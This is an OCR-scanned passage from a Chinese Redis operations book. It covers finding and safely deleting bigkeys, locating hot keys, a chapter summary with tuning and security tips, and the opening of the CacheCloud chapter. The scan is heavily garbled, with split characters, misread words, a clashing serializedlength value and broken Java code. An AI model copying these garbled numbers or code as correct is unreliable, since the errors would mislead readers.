元 素 。 如 果 按 照 数 据 结构 来 细 分 的 话 ， 一 般 分 为 字符 串 类 型 bigkey 和 非 字符 
串 类 型 bigkey。 


:字符 串 类 型 : 体现 在 单个 value 值 很 大 ， 一 般 认为 超过 10KB 就 是 
bigkey， 但 这 个 值 和 具体 的 OPS 相 关 。 


非 字符 串 类 型 ， 哈 希 、 列 表 、 集 合 、 有 序 集合 ， 体 现在 元 素 个 数 过 





bigkey 无 论 是 空间 复杂 度 和 时 间 复 杂 度 都 不 太 友好 ， 下 面 我 们 将 介绍 它 
的 危害 。 


Ons 


因为 非 字 符 串 数据 结构 中 ， 每 个 元 素 实际 上 也 是 一 个 字符 串 ， 但 这 里 只 
讨论 元 素 个 数 过 多 的 情况 。 
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12.4.1 bigkey 的 危害 





bigkey 的 危害 体现 在 三 个 方面 : 


:内 存 空 间 不 均匀 (平衡 例如 在 Redis Cluster 中 ，bigkey 会 造成 节点 
的 内 存 空间 使 用 不 均匀 。 


.超时 阻塞 : 由 于 Redis 单 线程 的 特性 ， 操 作 bigkey 比 较 耗 时 ， 也 就 意味 
着 阻塞 Redis 可 能 性 增 大 。 





网络 拥塞 : 每 次 获取 bigkey 产 生 的 网 络 流量 较 大 ， 假 设 一 个 bigkey 为 
1MB， 每 秒 访问 量 为 1000， 那 么 每 秒 产生 1000MB 的 流量 ， 对 于 普通 的 千 兆 
网 卡 《〈 按 照 字 节 算是 128MB/s) 的 服务 器 来 说 简直 是 灭 项 之 灾 ， 而 且 一 般 服 
务 器 会 采用 单机 多 实例 的 方式 来 部 署 ， 也 就 是 说 一 个 bigkey 可 能 会 对 其 他 实 
例 造 成 影响 ， 其 后 果 不 堪 设想 。 图 12-3 演 示 了 网 络 带宽 被 bigkey 占 用 的 瞬 
间 。 












网 络 拥塞 
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图 12-3 bigkey 造 成 网 络 拥塞 示意 图 





bigkey 的 存在 并 不 是 完全 致命 的 ， 如 果 这 个 bigkey 存 在 但 是 几乎 不 被 访 
问 ， 那 么 只 有 内 存 空间 不 均匀 的 问题 存在 ， 相 对 于 力 外 两 个 问题 没有 那么 重 
要 紧急 ， 但 是 如 果 bigkey 是 一 个 热点 key (频繁 访问 ) ， 那 么 其 带 来 的 危害 不 
可 想象 ， 所 以 在 实际 开发 和 运 维 时 一 定 要 密切 关注 bigkey 的 存在 。 
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12.4.2 ”如 何 发 现 


redis-cli--bigkeys 可 以 命令 统计 bigkey 的 分 布 ， 但 是 在 生产 环境 中 ， 开 发 
和 运 维 人 员 更 希望 自己 可 以 定义 bigkey 的 大 小 ， 而 且 更 希望 找到 真正 的 
bigkey 都 有 哪些 ， 这 样 才 可 以 去 定位 、 解 决 、 优 化 问题 。 判 断 一 个 key 是 否 关 
bigkey， 只 需要 执行 debug object key 查 看 serializedlength 属 性 即 可 ， 它 表示 key 
对 应 的 value 序 列 化 之 后 的 字 节 数 ， 例 如 我 们 执行 如 下 操作 : 








127.0.0.1:6379> debug object key 
Value at:0x7fc06clb1430 refcount:l1 encoding:raw serializedlength:1256350 lru:11 
lru seconds idle:20 





可 以 发 现 serializedlength=11686193 字 节 ， 约 为 IM， 同 时 可 以 看 到 
encoding 是 raw， 也 就 是 字符 串 类 型 ， 那 么 可 以 通过 strlen 来 看 一 下 字符 串 的 


字 节 数 为 2247394 字 节 ， 约 为 2?MB: 





127.0.0.1:6379> strlen key 
(integer) 2247394 








serializedlength 不 代表 真实 的 字 节 大 小 ， 它 返回 对 象 使 用 RDB 编 码 序 列 
化 后 的 长 度 ， 值 会 偏 小 ， 但 是 对 于 排查 bigkey 有 一 定 辅助 作用 ， 因 为 不 是 每 
种 数据 结构 都 有 类 似 strlen 这 样 的 方法 。 





在 实际 生产 环境 中 发 现 bigkey 的 两 种 方式 如 下 : 





被 动 收集 : 许多 开发 人 员 确 实 可 能 对 bigkey 不 了 解 或 重视 程度 不 够 ， 但 
征 这 种 bigkey 一 旦 大 量 访问 ， 很 可 能 就 会 带 来 命令 慢 奋 询 和 网 卡 跑 满 问题 ， 
开发 人 员 通 过 对 寞 常 的 分 析 通 常 能 找到 异常 原因 可 能 是 bigkey， 这 种 方式 虽 














然 不 是 被 笔者 推荐 的 ， 但 是 在 实际 生产 环境 中 却 大 量 存在 ， 建 议 修改 Redis 
客户 端 ， 妆 抛 出 异 第 时 打印 出 所 操作 的 key， 方 便 排 伍 bigkey 问 题 。 


主动 检测 : scantdebug object: 如 果 怀 疑 存在 bigkey， 可 以 使 用 scan 命 
令 渐进 的 扫描 出 所 有 的 key， 分 别 计算 每 个 key 的 serializedlength， 找 到 对 应 
bigkey 进 行 相应 的 处 理 和 报警 ， 这 种 方式 是 比较 推荐 的 方式 。 





Oj 


.如 果 键 值 个 数 比 较 多 ，scan+debug object 会 比较 慢 ， 可 以 利用 Pipeline 机 
制 完成 。 





.对 于 元 素 个 数 较 多 的 数据 结构 ，debug object 执 行 速 度 比较 慢 ， 存 在 阻 
塞 Redis 的 可 能 。 


如果 有 从 节点 ， 可 以 考虑 在 从 节点 上 执行 。 
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12.4.3 如何 删除 


当 发 现 Redis 中 有 bigkey 并 且 确 认 要 删除 时 ， 如 何 优雅 地 删除 bigkey? 无 
论 是 什么 数据 结构 ，del 命 令 都 将 其 删除 。 但 是 相信 通过 上 面 的 分 析 后 你 一 
定 不 会 这 么 做 ， 因 为 删除 bigkey 通 常 来 说 会 阻塞 Redis 服 务 。 下 面 给 出 一 组 测 
试 数据 分 别 对 string、hash、list、set、sorted set 五 种 数据 结构 的 bigkey 进 行 删 
除 ，bigkey 的 元 素 个 数 和 每 个 元 素 的 大 小 不 尽 相 同 。 


Ons 


下 面 测试 和 服务 器 硬件 、Redis 版 本 比较 相关 ， 可 能 在 不 同 的 服务 器 上 
执行 速度 不 太 相 同 ， 但 是 能 提供 一 定 的 参考 价值 


表 12-3 展 示 了 删除 S12KB~10MB 的 字符 串 类 型 数据 所 花费 的 时 间 ， 总 体 
来 说 由 于 字符 串 类 型 结构 相对 简单 ， 删 除 速度 比较 快 ， 但 是 随 着 value 值 的 
不 断 增 大 ， 删 除 速 度 也 逐渐 变 慢 。 


表 12-3 ”删除 字符 串 类 型 耗 时 


key 类 型 512KB 1MB 2MB 5MB 10MB 


表 12-4 展 示 了 非 字 符 串 类 型 的 数据 结构 在 不 同 数量 级 、 不 同 元 素 大 小 下 
对 bigkey 执 行 del 命 令 的 时 间 ， 总 体 上 看 元 系 个 数 越 多 、 元 素 越 大 ， 删 除 时 间 
越 长 ， 相 对 于 字符 串 类 型 ， 这 种 删除 速度 已 经 足 够 可 以 阻塞 Redis。 

















表 12-4 删除 hash、1list、set、sorted set 四 种 数据 结构 不 同 数 量 不 同 元 素 大 小 
的 耗 时 
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key 类 型 410 态 ， 100 万 0 100 厅 10. 万 100 万 
wy 类 
2 (8 个 字 节 ) | (8 个 字 节 ) | (16 个 字 节 ) | ( 16 个 字 节 ) | ( 128 个 字 节 ) | ( 128 字 节 ) 


二 LS 23ms 23 266ms 


图 12-4 是 表 12-4 的 折线 图 ， 可 以 更 加 方便 的 发 现 趋势 。 





从 上 分 析 可 见 ， 除 了 string 类 型 ， 其 他 四 种 数据 结构 删除 的 速度 有 可 能 
很 慢 ， 这 样 增 大 了 阻塞 Redis 的 可 能 性 。 既 然 不 能 用 del 命 令 ， 那 有 没有 比较 
优雅 的 方式 进行 删除 昵 ， 这 时 候 就 需要 将 第 2 章 介绍 的 scan 命 令 的 若干 类 似 


命令 拿 出 来 : sscan、hscan、zscan。 





1.string 


对 于 string 类 型 使 用 del 命 令 一 般 不 会 产生 阻 鹤 : 





del bigkey 





删除 bigkey 耗 时 





一 和 一 门 DSh —@— |St Set —@— Sorted set 
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图 12-4 删除 hash、1list、set、sorted set 四 种 数据 结构 不 同 数量 不 同 元 素 大 小 


的 耗 时 


2.hash、 list、set、sorted Set 


下 面 以 hash 为 例子 ， 使 用 hscan 命 令 ， 每 次 获取 部 分 (例如 100 个 〉field- 


value, 


再 利用 hdel 删 除 每 个 field (为 了 快速 可 以 使 用 Pipeline) 








public void delBigHash (String bigKey) { 


} 
/大 大 





Jedis jedis = new Jedis(“127.0.0.1”, 6379) 
// 游标 
String Cursor = WO 
while (true) ({ 
ScanResult<Map.Entry<String, String>> scanResult = jedis.hscan (bigKey, 











new ScanParams () .count (100)); 
/ / 每 次 扫描 后 获取 新 的 游标 
Cursor = ScanResult.dgetStringCursor (); 


/ /” 获 取 扫 描 结果 
List<Entry<String, String>> list = scanResult.getResult (); 
if (list ==: nulLl || list.sizé() == 0) 1 

continue; 








} 
String[] fields = getFieldsFrom(list); 
/ / ”删除 多 个 field 
jedis.hdel (bigKey, fields); 
/ / 游标 为 0 时 停止 
if (cursor .equals (“0”)) { 
break; 





} 
} 
/ / ”最终 删除 Key 
jedis.del (bigKey); 


* 获取 field 数 组 
* Q@param list 
* @return 


4 





private String[] getFieldsFrom(List<Entry<String, String>> list) { 


List<String> fields = new ArrayList<String>(); 
for(Entry<String, String> entry : list) { 
fields.add (entry.getrey()); 





} 
return fields.toArray (new String[fields.size()]); 








Oj 





请 勿 忘记 每 次 执行 到 最 后 执行 del key 操 作 。 
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12.4.4 最 佳 实践 思路 


由 于 开发 人 员 对 Redis 的 理解 程度 不 同 ， 在 实际 开发 中 出 现 bigkey 在 所 难 
免 ， 重 要 的 是 ， 能 通过 合理 的 检测 机 制 及 时 找到 它们 ， 进 行 处 理 。 作 为 开发 
人 员 在 业务 开发 时 应 注意 不 能 将 Redis 简 单 暴 力 的 使 用 ， 应 该 在 数据 结构 的 
选择 和 设计 上 更 加 合理 ， 例 如 出 现 了 bigkey， 要 思考 一 下 可 不 可 以 做 一 些 优 
化 《例如 拆 分 数据 结构 ) 尽量 让 这 些 bigkey 消 失 在 业务 中 ， 如 果 bigkey 不 可 
避免 ， 也 要 思考 一 下 要 不 要 每 次 把 所 有 元 素 都 取出 来 《例如 有 时 候 仅仅 需要 
hmget， 而 不 是 hgetall) 。 最 后 ， 可 喜 的 是 ，Redis 将 在 4.0 版 本 文 持 lazy delete 
free 的 模式 ， 那 时 删除 bigkey 不 会 阻塞 Redis。 
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12.5 寻找 热点 key 





热门 新 闻 事 件 或 商品 通常 会 给 系统 带 来 巨大 的 流量 ， 对 存储 这 类 信息 的 
Redis 来 说 却 是 一 个 巨大 的 挑战 。 以 Redis Cluster 为 例 ， 它 会 造成 整体 流量 的 
不 均衡 ， 个 别 节点 出 现 OPS 过 大 的 情况 ， 极 端 情况 下 热点 key 甚 至 会 超过 
Redis 本 里 能 够 承受 的 OPS， 因 此 寻找 热点 key 对 于 开发 和 运 维 人 员 非 常 重 
要 。 下 面 就 从 四 个 方面 来 分 析 热 点 key。 





1 .客户 端 


客户 端 其 实 是 距离 key 最 近 ” 的 地 方 ， 因 为 Redis 命 令 就 是 从 客户 端 发 出 
的 ， 例 如 在 客户 端 设置 全 局 字典 〈key 和 调用 次 数 ) ， 每 次 调用 Redis 命 令 
时 ， 使 用 这 个 字典 进行 记录 ， 如 下 所 示 。 





























// 使 用 Guava 的 AtomicLongMap, 记录 key 的 调用 次 数 
public static final AtomicLongMap<String> ATOMIC LONG MAP = AtomicLongMap.creat 
String get (String key) { 

counterKey (key); 

















} 
String set(String key String value) { 
counterKey (key); 


} 
void counterKey(String key) ({ 

ATOMIC LONG MAP.incrementAndGet (key); 
} 





为 了 减少 对 客户 端 代码 的 侵入 ， 可 以 在 Redis 客 户 端的 关键 部 分 进行 计 
数 ， 例 如 Jedis 的 Connection 类 中 的 sendCommand 方 法 是 所 有 命令 执行 的 枢 
纽 : 





public Connection sendCommand (final ProtocolCommand cmd, final bytel[]... args) 
// ”从 参数 中 获取 key 
String key = analysis (args); 
// 计数 
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counterKey (key); 





同时 为 了 防止 ATYOMIC LONG MAP 过 大 ， 可 以 对 其 进行 定期 清理 。 





public void scheduleCleanMap() { 
ERROR NAME VALUE MAP.clear (); 




















} 








使 用 客户 端 进行 热点 key 的 统计 非常 容易 实现 ， 但 是 同时 问题 也 非常 
多 : 





无 法 预知 key 的 个 数 ， 存 在 内 存 泄 露 的 危险 。 


对 于 客户 端 代 码 有 侵入 ， 各 个 语言 的 客户 器 都 需要 维护 此 逻辑 ， 维 护 
成 本 较 高 。 








只 能 了 解 当前 客户 端的 热点 key， 无 法 实现 规模 化 运 维 统计 。 





当然 除了 使 用 本 地 字典 计数 外 ， 还 可 以 使 用 其 他 存储 来 完成 异步 计数 ， 
从 而 解决 本 地 内 存 泄 圳 问题。 但 是 男 两 个 问题 还 是 不 好 解决 。 








2. 代 理 端 





像 Twemproxy、Codis 这 些 基 于 代理 的 Redis 分 布 式 架构 ， 所 有 客户 端的 
请 求 都 是 通过 代理 端 完 成 的 ， 如 图 12-5 所 示 。 此 架构 是 最 适合 做 热点 key 统 
计 的 ， 因 为 代理 是 所 有 Redis 客 户 端 和 服务 端的 桥架 。 但 并 不 是 所 有 Redis 都 
是 采用 此 种 架构 。 
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| Client-1 | 


we | Client-K 


| Client-N| 








“i 
Redis 


图 12-5 ”基于 代理 的 热点 key 统 计 
3.Redis 服 务 端 


使 用 monitor 命 令 统计 热点 key 是 很 多 开发 和 运 维 人 员 首 先 想 到 ，monitor 
命令 可 以 监控 到 Redis 执 行 的 所 有 命令 ， 下 面 为 一 次 monitor 命 令 执 行 后 部 分 
果 : 


NS 
ly 





.XX.183:54465] "GET" "tab:relate:kp:162818" 
.XxX.14:35334] "HGETALL" "rf:vl1l:84083217 83727736" 
xx.180:60413] "GET" "tab:relate:kp:900" 
.XxX.183:54320] "GET" "tab:relate:kp:15907" 


77638175.920489 
77638175.925794 
77638175..938106 
717717638175,939651 








OO 
SOS 
上 FF 
mnOn 





14717638175.962519 [0 L010 X14:35334] GET "tab:reLlate:kp:3079" 
1477638175.963216 [0 10.10, xxs14:35334] GET “tab:reLlate:kp:3079" 
1477638175.964395 [0 10.10.xx.204:57395] "HGETALL" "rf:vl:80547158 83076533" 



































= 
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| Client-1] | 





解析 monitor 


了 
输出 统计 


| Client-K 


| Client-N 


图 12-6 “使 用 monitor 命 令 统计 热点 key 


如 图 12-6 所 示 ， 利 用 monitor 命 令 的 结果 就 可 以 统计 出 一 段 时 间 内 的 热点 
key 排 行 榜 、 命 令 排行 榜 、 客 户 端 分 布 等 数据 ， 例 如 下 面 的 伪 代 码 统计 了 最 
近 10 万 条 命令 中 的 热点 key: 





/ / 获取 10 万 条 命令 
List<String> keyList = fedqis.monitor (100000) 
// 存 入 到 字典 中 ,分别 是 Key 和 对 应 的 次 数 
AtomicLongMap<String> ATOMIC LONG MAP = AtomicLongMap.create(); 
// 统计 
for (String command : commangdList) { 
ATOMIC LONG MAP.incrementAndGet (key); 








statHotKey (ATOMIC LONG MAP); 





Facebook 开 源 的 redis-fainal!| 正 是 利用 上 述 原理 使 用 Python 语 言 实现 的 ， 
例如 下 面 获 取 最 近 10 万 条 命令 的 热点 key、 热 点 命令 、 耗 时 分 布 等 数据 。 为 
了 减少 网 络 开 销 以 及 加 快 输出 缓冲 区 的 消费 速度 ，monitor 尽 可 能 在 本 机 执 


/一 


介 。 





redis-cli -p 6380 monitor | head -n 100000 | ./redis-faina.py 
Overall Stats 
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Lines Processed 50000 
Commands/Sec 900.48 
Top Prefixes 

















tab 27565 (55, 13%) 

效 在 于 号 下 开业 (30 .22%) 

ugc 2051 (4.10%) 

Top Keys 

tab:relate:kp:9350 2110 (4.22%) 
tab:relate:kp:15907 1594 (3.19%) 


Top Commands 








GET 25700 (51 .40%) 
HGETALL 15111 (30.22%) 








Command Time (microsecs) 








Median 622.75 


75% 1504.0 
90% 2820.0 
99% 6798.0 





此 种 方法 会 有 两 个 问题 : 





本 书 多 次 强调 monitor 命 令 在 高 并 发 条 件 下 ， 会 存在 内 存 暴 增 和 影 啊 
Redis 性 能 的 隐患 ， 所 以 此 种 方法 适合 在 短 时 间 内 使 用 。 


:只 能 统计 一 个 Redis 节 点 的 热点 key， 对 于 Redis 集 群 需要 进行 汇总 统 
和 
4. 机 器 


4.1 节 我 们 介绍 过 ，Redis 客 户 端 使 用 TCP 协 议 与 服务 端 进行 交互 ， 通 信 
协议 采用 的 是 RESP。 如 果 站 在 机 器 的 角度 ， 可 以 通过 对 机 器 上 所 有 Redis 端 
口 的 TCP 数 据 包 进行 抓 取 完 成 热点 key 的 统计 ， 如 图 12-7 所 示 。 








此 种 方法 对 于 Redis 客 户 端 和 服务 端 来 说 曼 无 侵入 ， 是 比较 完美 的 方 
案 ， 但 是 依然 存在 两 个 问题 : 
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需要 一 定 的 开发 成 本 ， 但 是 一 些 开 源 方案 实现 了 该 功能 ， 例 如 
ELK (ElasticSearch Logstash Kibana) 体系 下 的 packetbeat5 插 件 ， 可 以 实现 
对 Redis、MyYSQL 等 众多 主流 服务 的 数据 包 抓 取 、 人 分析、 报表 展示 。 


-由 于 是 以 机 器 为 单位 进行 统计 ， 要 想 了 解 一 个 集群 的 热点 key， 需 要 进 
行 后 期 汇总 。 


最 后 通过 表 12-5 给 出 上 述 四 种 方案 的 特点 。 


机 器 
| A 
CS B= 取 i R 本 
J 区 抓 取 分 机 Redis 的 
ES > 


TE 


图 12-7 机 器 Redis TCP 包 分 析 
表 12-5 寻找 热点 key 的 四 种 方案 
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方案 
* 内 存 泄露 隐患 
客户 端 实现 简单 . 维护 成 本 高 


SEEb 直 省 竟 人 让 3 
。 只 能 统计 单个 客户 端 


代理 是 客户 端 和 服务 端的 桥梁 ， 实 


代理 现 最 方便 最 系统 增加 代理 端的 开发 部 署 成 本 
< 又 如 二 几 L 
玫 本 eg * Monitor 本 身 的 使 用 成 本 和 危害 ， 只 能 短 时 间 使 用 
又 方向 头 志 上 团 扯 - ss 
0 。 只 能 统计 单个 Redis 节点 
机 器 对 于 客户 端 和 服务 端 无 侵入 和 影响 “| ”需要 专业 的 运 维 团队 开发 ， 并 且 增 加 了 机 器 的 部 署 成 本 





最 后 我 们 总 结 出 解决 热点 key 问 题 的 三 种 方案 。 选 用 哪 种 要 根据 具体 业 
务 场景 来 决定 。 下 面 是 三 种 方案 的 思路 。 


1) 拆 分 复杂 数据 结构 : 如 果 当 前 key 的 类 型 是 一 个 二 级 数据 结构 ， 例 如 
哈 希 类 型 。 如 果 该 哈 希 元 素 个 数 较 多 ， 可 以 考虑 将 当前 hash 进 行 拆 分 ， 这 样 


该 热点 key 可 以 拆 分 为 在 干 个 新 的 key 分 布 到 不 同 Redis 节 点 上 ， 从 而 减轻 压 
力 。 


2) 迁移 热点 key: 以 Redis Cluster 为 例 ， 可 以 将 热点 key 所 在 的 Slot 单独 
迁移 到 一 个 新 的 Redis 节 点 上 ， 但 此 操作 会 增加 运 维 成 本 。 


3) 本 地 缓存 加 通知 机 制 ， 可 以 将 热点 key 放 在 业务 端的 本 地 缓存 中 ， 因 
为 是 在 业务 端的 本 地 内 存 中 ， 处 理 能 力 要 高 出 Redis 数 十 倍 ， 但 当 数 据 更 新 
时 ， 此 种 模式 会 造成 各 个 业务 端 和 Redis 数 据 不 一 致 ， 通 常会 使 用 发 布 订阅 
机 制 来 解决 类 似 问 题 。 


[1| https://github.conyfacebookarchive/redis-faina 


[2] https://www.elastic.co/products/beats/packetbeat 
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12.6 “本草 重点 回顾 
1) Linux 相 关 优 化 : 
:vm.overcommit memory 建 议 为 1。 
:Linux>3.5，vm.swappiness 建 议 为 1!1， 否 则 建议 为 0。 


“Transparent Huge Pages (THP)〉 建 议 关 财 挥 ， 但 需要 注意 Linux 友 行 版 本 
改变 了 THP 的 配置 位 置 。 


:可 以 为 Redis 进 程 设置 oom adj ， 减 少 Redis 被 OOM killer 杀 掉 的 概率 ， 
但 不 要 过 度 依赖 此 特性 。 


建议 对 Redis 所 有 节点 所 在 机 堪 使 用 NTP 服 务 。 

设置 合理 的 ulimit 保 证 网 络 连接 正常 。 

:设置 合理 的 tcp-backlog 参 数 。 

2) 理解 Redis 的 持久 化 有 助 于 解决 fush 操 作 之 后 的 数据 快速 恢复 问题 
3) Redis 安 全 建议 : 

根据 具体 网 络 环境 决定 是 否 设 置 Redis 密 码 。 
rename-command 可 以 伪装 命令 ,但 是 要 注意 成 本 。 


合理 的 防火 墙 是 防止 攻击 的 利器 
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bind 可 以 将 Redis 的 访问 绑 定 到 指定 网 卡 上 。 





:定期 备份 数据 应 该 作为 习惯 性 操作 。 
.可 以 适当 错开 Redis 默 认 端 口 启 动 。 
:使 用 非 root 用 户 启 动 Redis。 


4) bigkey 的 危害 不 容 忽 视 : 数据 倾斜 、 超 时 阻塞 、 网 络 拥塞 ， 可 能 是 
Redis 生 产 环境 中 的 一 颗 定 时 炸弹 ， 删 除 bigkey 时 通常 使 用 渐进 式 遍 历 的 方 
式 ， 防 止 出 现 Redis 阻 塞 的 情况 。 


5) 通过 客户 器 、 人 代理 、monitor、 机 器 抓 包 四 种 方式 找到 热点 key， 这 几 
种 方式 各 具 优 势 ， 有 具体 使 用 哪 种 要 根据 当前 场景 来 决定 。 
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第 13 章 ”Redis 监 控 运 维 云 平台 CacheCloud 


无 论 使 用 还 是 运 维 Redis， 千 万 不 要 将 其 看 作 黑 盒 ， 虽 然 Redis 提 供 了 一 
些 命令 来 做 监控 统计 〈 例 如 infp) 和 日 常 运 维 〈 例 如 redis-trib.rb) ， 但 是 当 
Redis 达 到 了 一 定 规模 ， 这 些 命令 会 变 得 捉襟见肘 ， 如 果 通 过 平台 化 的 工具 
统一 监控 和 管理 将 极 大 地 提升 开发 和 运 维 人 员工 作 效率 。 本 章 首先 分 析 
Redis 监 控 和 运 维 中 现 有 的 问题 ， 随 后 将 介绍 笔者 团队 开源 的 Redis 私 有 云 平 
台 CacheCloud， 及 其 解决 这 些 问 题 的 方案 。 主 要 内 容 如 下 : 








由 Redis 监 控 和 运 维 的 现 有 问题 引出 CacheCloud。 

快速 部 署 :， 快速 搭建 CacheCloud 项 目 。 

-机 器 部 署 ， 实现 CacheCloud 对 机 器 管理 部 署 。 

. 接 入 应 用 : 使 用 CacheCloud 部 署 Redis Cluster 并 完成 客户 端 快 速 接 入 。 
:用 户 功 能 :站 在 开发 人 员 角 度 介 绍 CacheCloud 相 关 功 能 

运 维 功能 : 站 在 运 维 人 员 角 度 介 绍 CacheCloud 相 关 功 能 


客户 端 上 报 : CacheCloud 获 取 上 报 客 户 端 统计 信息 。 
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13.1 CacheCloud 是 什么 


读者 有 没有 想 过 ， 如 果 让 你 去 运 维 大 规模 的 Redis 节 点 ， 例 如 数 千 个 
Redis 节 点 、 数 百 台 机 器 、 数 百 个 业务 支撑 ， 会 遇 到 什么 问题 吗 ? 很 明显 就 
是 缺少 一 个 好 的 可 视 化 运 维 平台 。 本 节 首 先 分 析 如 果 没 有 好 的 运 维 平台 可 能 
存在 的 问题 ， 接 着 介绍 Redis 开 源 私 有 云 平台 CacheCloud。 
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13.1.1 现 有 问题 


1. 部 署 成 本 





我 们 在 第 9 章 和 第 10 章 详细 讲解 了 Redis Sentinel 和 Redis Cluster 的 安装 、 
配置 、 部 车 、 运 维 。 以 Redis Cluster 为 例子 ， 虽 然 Redis 的 作者 开发 了 redis- 
trib.rb 这 样 的 工具 帮助 我 们 快速 构建 和 管理 Redis Cluster， 但 是 每 个 Redis 节 
点 仍然 需要 手工 配置 和 启动 ， 相 对 来 说 还 是 比较 繁琐 的 ， 而 且 由 于 是 人 工 操 
作 ， 所 以 存在 一 定 的 错误 率 。 例 如 作为 一 个 Redis 运 维 人 员 ， 管 理 几 百 上 和 干 
个 Redis 节 点 是 很 正常 的 事 ， 如 果 单 纯 手工 安装 配置 ， 既 耗 时 又 容易 出 错 。 


2. 实 例 人 碎片 化 





关系 型 数据 库 ( 例 如 Oracle、MySQL) 发 展 很 多 年 已 经 非常 成 熟 ， 会 有 
专职 的 DBA 人 员 管 理 ， 运 维 流 程 和 监控 平台 相对 成 熟 稳 定 。 对 于 像 Redis 这 
样 的 NoSQIL 数 据 库 ， 很 多 公司 没有 专职 人 员 来 维护 ， 于 是 就 会 出 现 一 种 现 
象 ， Redis 由 各 个 业务 组 来 维护 ， 造 成 Redis 散 落 在 各 个 机 器 上 ， 没 有 整体 的 
管理 。 并 且 存 在 着 很 多 由 于 业务 收缩 或 者 下 线 无 人 管理 的 Redis 节 点 。 高 效 
的 做 法 应 该 是 提供 统一 管理 和 监控 的 Redis 平 台 ， 用 于 管理 机 器 、 集 群 、 节 
点 、 用 户 等 资源 并 做 好 全 方位 监控 ， 防 止 各 种 “ 私 搭 乱 建造 成 的 混乱 现象 。 








3. 监 控 、 统 计 和 管理 不 完善 





Redis Livel | 等 工具 虽然 提供 了 可 视 化 的 方式 来 监控 Redis 的 相关 数据 ， 
但 是 如 果 从 功能 全 面 性 上 还 是 不 够 的 ， 例 如 Redis2.8 之 后 提供 的 Redis 
Sentinel 和 Redis3.0 提 供 的 Redis Cluster， 目 前 的 开源 工具 没有 提供 较 好 的 支 
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入 


， 而 且 对 于 Redis info 中 的 某 些 重要 指标 也 没有 实现 很 好 的 监控 和 报警 功 


ZI 
CC 
[e] 


4. 运 维 、 经 济 成 本 


业务 组 运 维 Redis 会 造成 如 下 三 个 问题 : 


业务 组 的 开发 人 员 可 能 更 加 善于 使 用 Redis 实 现 各 种 功能 ， 但 是 没有 足 
够 的 精力 和 经 验 来 维护 好 Redis。 


各 个 业务 组 的 Redis 较 为 分 散 地 部 车 在 各 目 服 务 器 上 ， 造 成 机 器 利用 率 
较 低 ， 出 现 大 量 闲置 资源 ， 同 时 监控 和 运 维 无 法 有 效 支 撑 。 


各 个 业务 组 的 Redis 使 用 各 种 不 同 的 版 本 ， 不 便于 管理 和 交互 。 


所 以 ， 应 该 由 一 些 在 Redis 运 维 方面 更 有 经 验 的 人 来 维护 ， 使 得 开发 者 
更 加 关注 村 Redis 使 用 本 身 ， 这 样 开 及 和 运 维 可 以 各 目 做 目 己 擅长 的 事情 。 








[1| https://github.com/nkrode/RedisLive 
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13.1.2 ”CacheCloud 基 本 功能 


笔者 团队 于 2016 年 在 GitHub 上 正式 开源 了 Redis 的 私有 云 平 台 
CacheCloudi1， 它 实现 多 种 Redis 类 型 (Redis Standalone、Redis Sentinel、 
Redis Cluster) 的 自动 部 署 、 解 决 Redis 节 点 雁 片 化 现象 ， 提 供 完善 的 统计 、 
监控 、 运 维 功能 ， 减 少 运 维 成 本 和 误 操 作 ， 提 高 机 器 的 利用 率 ， 提 供 灵活 的 
伸缩 性 ， 可 方便 地 接 入 客户 端 ， 对 于 Redis 的 开发 和 运 维 人 员 非 常 有 帮助 。 





整体 功能 染 构 如 图 13-1 所 示 。 






Ca cheCloud 


U Pp 





Down Down 





ee 

Ci 
此 G 
jd 马 


图 13-1 CacheCloud 整 体 功 能 架构 


CacheCloud 于 2014 年 9 月 在 搜狐 视频 正式 上 线 ， 期 间 每 天 的 平均 命令 调 
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用 量 约 为 200 亿 次 ， 有 1000 个 以 上 的 Redis 节 点 ，100 台 以 上 的 机 器 ， 服 务 着 
公司 几 十 个 项 目 。 


截止 到 本 书 截 稿 ，CacheCloud 在 GitHub 的 star 数 量 已 经 超过 了 1500， 目 
前 已 经 在 几 十 家 公司 上 线 使 用 由 ， 得 到 了 许多 Redis 开 发 和 运 维 人 员 的 欢迎 
和 认可 。 





CacheCloud 提 供 的 主要 功能 如 下 : 


-监控 统计 提供 了 机 器 、 应 用 、 实 例 下 各 个 维度 数据 的 监控 和 统计 界 


一 键 开 启 : Redis Standalone、Redis Sentinel、Redis Cluster 三 种 类 型 的 
应 用 ， 无 需 手 动 配置 初始 化 。 


:Failover: 支持 Redis Sentinel、Redis Cluster 的 高 可 用 模式 。 


.可 伸缩 性 :提供 完善 的 垂直 和 水 平 在 线 伸缩 功能 


完善 运 维 : 提供 自动 化 运 维 功 能 ， 避 免 纯 手工 运 维 出 错 。 





:方便 的 客户 端 :方便 快捷 的 客户 端 接 入 ， 同 时 支持 客户 端 性 能 统计 。 


元 数据 管理 : 提供 机 器 、 应 用 、 实 例 、 用 户 信 息 管 理 


流程 化 : 提供 申请 、 运 维 、 伸 缩 、 修 改 等 完善 的 处 理 流 程 。 





一 键 导入 : 一 键 导入 已 经 存在 的 Redis。 


迁移 数据 : Redis Standalone、Redis Sentinel、Redis Cluster、AOF、 
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RDB 可 进行 数据 迁移 。 


[1| https://github.conysohutv/cachecloud 
[2| https://github.cony/sohutv/cachecloud#cc9 
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13.2 ”快速 部 署 
13.2.1 CacheCloud 环 境 需 求 
安装 部 署 CacheCloud 需 要 以 下 环境 : 
-JDK7+: CacheCloud 使 用 Java 语 言 开 发 ， 并 使 用 了 JDK7 的 一 些 特性 。 
-Maven3: CacheCloud 使 用 Maven3 作 为 开发 构建 工具 。 
.MySQL5.5+: CacheCloud 需 要 Redis 的 相关 元 信息 进行 持久 化 。 


.Redis: CacheCloud 支 持 对 2.8 以 上 版 本 的 Redis， 但 建议 读者 使 用 


Redis3.0+。 
Os 
上 述 JDK 指 的 是 Oracle JDK， 如 果 是 Open JDK 会 存在 错误 。 


CacheCloud 提 供 了 视频 教 
程 : http://my.tv.sohu.conmy/pl/9100280/index.shtml。 
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13.2.2 ”CacheCloud 快 速 开 始 


1. 下 载 项 目 源 人 码 


访问 CacheCloud 的 GitHub 主 页 ， 可 以 通过 两 种 方式 下 载 CacheCloud 的 源 
代码 。 


.直接 下 载 zip 压 缩 包 。 
通过 git 选 择 对 应 的 分 支 进 行 殉 隆 。 


master 和 各 个 release 版 本 是 生产 可 用 的 ， 其 他 分 支 可 能 是 处 于 开发 阶段 
的 ， 请 慎重 选择 。 


Os 


截止 本 书 完成 ，CacheCloud 的 release 版 本 为 1.3， 开 发 和 运 维 人 员 可 以 使 
